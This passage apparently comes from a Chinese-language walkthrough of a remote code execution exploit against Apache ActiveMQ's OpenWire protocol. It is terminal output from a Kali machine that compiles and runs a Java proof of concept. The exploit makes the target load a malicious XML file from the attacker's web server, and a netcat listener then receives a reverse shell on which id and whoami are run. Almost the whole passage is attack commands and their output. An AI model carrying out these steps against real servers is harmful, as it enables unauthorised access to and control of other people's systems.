root at kali in /opt $ /usr/lib/jvm/jdk1.8.0_301/bin/javac ActiveMQ.java Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
root at kali in /opt $ /usr/lib/jvm/jdk1.8.0_301/bin/java ActiveMQ Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true [*] Poc for ActiveMQ openwire protocol rce [*] Target 10.10.8.16:61616 [*] XML address http://10.10.8.15:8080/poc.xml [*] Payload send success.
运行成功后,等待 10s 即可接收到 Shell:
1 2 3 4 5 6 7 8 9 10 11 12 13
root at kali in ~ $ nc -lvvp 4444 listening on [any] 4444 ... 10.10.8.16: inverse host lookup failed: Host name lookup failure connect to [10.10.8.15] from (UNKNOWN) [10.10.8.16] 48846 bash: cannot set terminal process group (410): Not a tty bash: no job control in this shell dace9600f06c:/run/s6-rc:s6-rc-init:kljoAj/servicedirs/activemq$ id id uid=100(activemq) gid=1000(activemq) groups=5(tty),1000(activemq) dace9600f06c:/run/s6-rc:s6-rc-init:kljoAj/servicedirs/activemq$ whoami whoami activemq